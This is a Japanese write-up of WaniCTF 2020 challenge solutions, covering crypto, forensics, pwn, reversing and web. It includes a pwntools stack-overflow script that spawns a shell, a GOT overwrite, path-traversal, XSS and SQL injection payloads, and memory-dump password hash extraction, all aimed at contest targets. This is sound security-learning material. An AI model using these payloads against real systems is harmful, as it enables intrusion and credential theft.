WaniCTF 2020 write-up
はじめに
WaniCTF 2020に参加して、31問中27問を解いて、2776点の19位でした。
pwnは今までほぼ解けたことがなかったのですが、誘導がとても親切だったので、その場で調べていくつか問題が解けました!
勉強するのにとても良いCTFだったと思います。運営の皆様ありがとうございます。
解けた問題について自分の解法を書いていきます!
Crypto
Veni, vidi
シーザー暗号です。
# frozen_string_literal: true input = 'SYNT{fvzcyr_pynffvpny_pvcure}' ans = input.chars.map do |c| if /[a-zA-Z]/.match? c (/[a-mA-M]/.match? c) ? (c.ord + 13).chr : (c.ord - 13).chr else c end end puts ans.join
フラグはFLAG{simple_classical_cipher}
でした。
問題のタイトルは、カエサルの「来た、見た、勝った」という言葉から来ているんですかね。
exclusive
XORでの任意の元の逆元は自分自身であることを使います。また、MASKは最初の文字がFLAGになるべきことから"ABC" * 19
と逆算できます。
# frozen_string_literal: true input = File.read('output.txt') ans = input.chars.zip(('ABC' * 19).chars).map do |a| p a (a[0].ord ^ a[1].ord).chr end puts ans.join
フラグはFLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}
でした。
Basic RSA
1問目は掛け算するだけ、2問目は累乗するだけです。2問目はpythonの組み込み関数のpowを使うと楽です。
3問目はwikipediaを見ながら以下のようなコードを書きました。
from math import gcd from functools import reduce def egcd(a, b): if a == 0: return (b, 0, 1) else: g, x, y = egcd(b % a, a) return (g, y - (b // a) * x, x) # ここにサーバーに接続して出力される値を入れる p = 7041432130313244796950281993838902739106439356602877714606458384186213903288787226221432324354767044069350532186121341963391409509516178480593162872866793 q = 11168556882323638148036515557772740080904748076290399509593200663285981658968914827361721721954443249620521957648766089916382265796646797400675750685604361 e = 65537 c = 40570423974891430080253870022682679517702984542456600527002069526532030082165299716261597786667147378002625873399114107986243122220539493233002893189198066015414805681443248328710386911991880235918762406465422175949543893842466948081047589075028548896125198494757236156848768239966798457098574796136702253681 tmp, tmp2, d = egcd((p - 1) * (q - 1), 65537) print(pow(c, d, p * q))
フラグはFLAG{y0uv3_und3rst00d_t3xtb00k_RSA}
でした。
LCG Crack
LCGで作られた暗号を解読する問題。
問題名そのままで調べたら、https://tailcall.net/blog/cracking-randomness-lcgs/というページが引っかかったので、こちらのコードを大いに参考にして解きました。
from math import gcd from functools import reduce def egcd(a, b): if a == 0: return (b, 0, 1) else: g, x, y = egcd(b % a, a) return (g, y - (b // a) * x, x) def modinv(b, n): g, x, _ = egcd(b, n) if g == 1: return x % n def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0] * multiplier) % modulus return modulus, multiplier, increment def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * \ modinv(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier) def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus) print( crack_unknown_modulus( # ここにサーバーに接続して出力される値を順に入れる [ 243331861946710531, 5810350824751231991, 8560247047094378475, 788442681630378710, 1443969830598239223 ] ) )
こちらのコードでa, b, mの値が求まるので、10回分手動で次の値を求めました。
フラグはFLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}
でした。
l0g0n
エンターを2回押したらフラグが出てきてしまった。(0文字のものを暗号化しても0文字になるという性質があるからですかね)
フラグはFLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}
でした。
Forensics
logged_flag
key_log.txtを見て、手でフラグを復元しました。secret.jpgのほうが使う必要がありませんね。
自分はUSキーボードなのでそのまま復元できました。
フラグはFLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}
でした。
ALLIGATOR_01
Volatilityを用いて、vol.py -f ALLIGATOR.raw --profile=Win7SP1x86 pstree | grep evil
とすると、evil.exe
が実行された時間がわかります。
フラグはFLAG{2020-10-26_03:01:55_UTC+0000}
でした。
ALLIGATOR_02
非想定解ですが、stringsだけで解けます。strings ALLIGATOR.raw | grep FLAG{
フラグはFLAG{y0u_4re_c0n50les_master}
でした。
chunk_eater
IHDR、IDAT(2箇所)、IEND(2箇所)となるべき部分がWANIになっているため、Hex Fiendで開いて適切に書き換えると画像が開けます。
フラグはFLAG{chunk_is_so_yummy!}
でした。
ALLIGATOR_03
Volatilityを用いて、vol.py -f ALLIGATOR.raw hashdump -y 0x8781a008 -s 0x93791458 --profile=Win7SP0x86
とするとパスワードのNTLMハッシュがわかります。
NTLMハッシュをdecodeしてくれそうなサイトを適当に探してdecodeすると、パスワードがilovewani
であることがわかり、このパスワードでzipが解凍できます。
フラグはFLAG{The_Machikane_Crocodylidae}
でした。
zero_size_png
IDATのサイズを求めると1872057 bytes
でした。これを素因数分解すると、3 * 11 * 17 * 47 * 71
になることと、idat_bytes = height * (4 * width + 1)
という関係が成り立つこと、画像が恐らく正方形に近そうなことからエスパーし、画像サイズを599 * 781と特定しました。
Hex Fiendでこのサイズに書き換えると、画像が開けます。
フラグはFLAG{Cyclic_Redundancy_CAT}
でした。
Misc
Find a Number
log_2(500000) ~ 18.9 < 20
なので二分探索で解けます。
コードを書くのが面倒だったので、手動で二分探索しました。
フラグはFLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}
でした。
MQTT Challenge
入力欄に#
と打つことで、ワイルドカードで指定できます。
フラグはFLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}
でした。
PWN
netcat
nc netcat.wanictf.org 9001
に接続して、cat flag.txt
とする。
フラグはFLAG{netcat-1s-sw1ss-4rmy-kn1fe}
でした。
car rewrite
nc var.wanictf.org 9002
に接続して、AAAAAAAAAAWANI
とする。
シェルが取れるのでcat flag.txt
とします。
フラグはFLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
でした。
binsh address
strings -t x ./pwn03
とすると、inputという文字列から見た、/bin/shという文字列の相対アドレスが0x10なので、与えられたアドレスに+0x10すればよいことがわかります。
フラグはFLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
でした。
got rewriter
入力後に呼ばれるread関数のGOTでのアドレス0x601048を、win関数0x400807に書き換えるとwin関数が呼び出されます。
read関数のアドレスはobjdump -d -M intel ./pwn04
からわかります。
フラグはFLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
でした。
ret rewrite
解説できるほど理解度が高くないので、コードだけ貼っておきます。
import pwn io = pwn.remote("ret.wanictf.org", 9005) # io = pwn.process("./pwn05") ret = io.readuntil("What's your name?: ") print(ret) addr = 0x00400838 s = b"A" * 22 s += pwn.p64(addr) print(s) io.send(s) io.interactive()
フラグはFLAG{1earning-how-return-address-w0rks-on-st4ck}
でした。
Reversing
strings
strings strings | grep FLAG
とするとフラグがわかります。
フラグはFLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}
でした。
simple
Ghidraでmain関数をデコンパイルすると、以下のようなコードが出てきます。
char local_78 [48]; local_78[0] = 'F'; local_78[1] = 0x4c; local_78[2] = 0x41; local_78[3] = 0x47; local_78[4] = 0x7b; local_78[5] = 0x35; local_78[6] = 0x69; local_78[7] = 0x6d; local_78[8] = 0x70; local_78[9] = 0x31; local_78[10] = 0x65; local_78[11] = 0x5f; local_78[12] = 0x52; local_78[13] = 0x65; local_78[14] = 0x76; local_78[15] = 0x65; local_78[16] = 0x72; local_78[17] = 0x73; local_78[18] = 0x31; local_78[19] = 0x6e; local_78[20] = 0x67; local_78[21] = 0x5f; local_78[22] = 0x34; local_78[23] = 0x72; local_78[24] = 0x72; local_78[25] = 0x61; local_78[26] = 0x79; local_78[27] = 0x5f; local_78[28] = 0x35; local_78[29] = 0x74; local_78[30] = 0x72; local_78[31] = 0x69; local_78[32] = 0x6e; local_78[33] = 0x67; local_78[34] = 0x73; local_78[35] = 0x7d;
local_78という文字列と入力が一致すればいいことから、フラグがわかります。
フラグはFLAG{5imp1e_Revers1ng_4rray_5trings}
でした。
complex
面倒なのでangrを使ってしまいました。数時間待っているとフラグが得られました。
import angr p = angr.Project("./complex") state = p.factory.entry_state() sim = p.factory.simulation_manager(state) sim.explore(find=(0x400000 + 0x1cb9,)) if len(sim.found) > 0: print(sim.found[0].posix.dumps(0))
フラグはFLAG{did_you_really_check_the_return_value}
でした。
Web
DevTools_1
dev toolを見るとHTMLのコメント内にフラグが書かれています。
フラグはFLAG{you_can_read_html_using_devtools}
でした。
DevTools_2
dev toolからページの内容を書き替えればフラグが出てきました。
フラグはFLAG{you_can_edit_html_using_devtools}
でした。
Simple Memo
ディレクトリトラバーサルの問題です。../
が空文字列に置換されるので、?file=....//flag.txt
にアクセスすると、../flag.txt
の内容が読み込めます。
フラグはFLAG{y0u_c4n_get_hi5_5ecret_fi1e}
でした。
striped table
XSSの問題です。黒背景の部分だけsanitizeが抜けているので、<script>alert(19640503)</script>
という内容の投稿を2回行うことでXSSが成立します。
フラグはFLAG{simple_cross_site_scripting}
でした。
SQL Challenge 1
year=1 or 1 = 1
としたいのですが、スペースが使えません。そこで、区切り文字として()を使い?year=(1)or(1)=(1)
としました。
フラグはFLAG{53cur3_5ql_a283b4dffe}
でした。
SQL Challenge 2
入力の最初に'
がついていないので、multibytes sql injectionも難しそうでした。
とりあえずMySQLの予約語を片っ端から試していたところ、?year=false
と入力したときにフラグが出てきました。
後から考えると、数字から始まらない文字列とfalseは、どちらも暗黙の型変換で0にcastされるからのようですね。
フラグはFLAG{5ql_ch4r_cf_ca87b27723}
でした。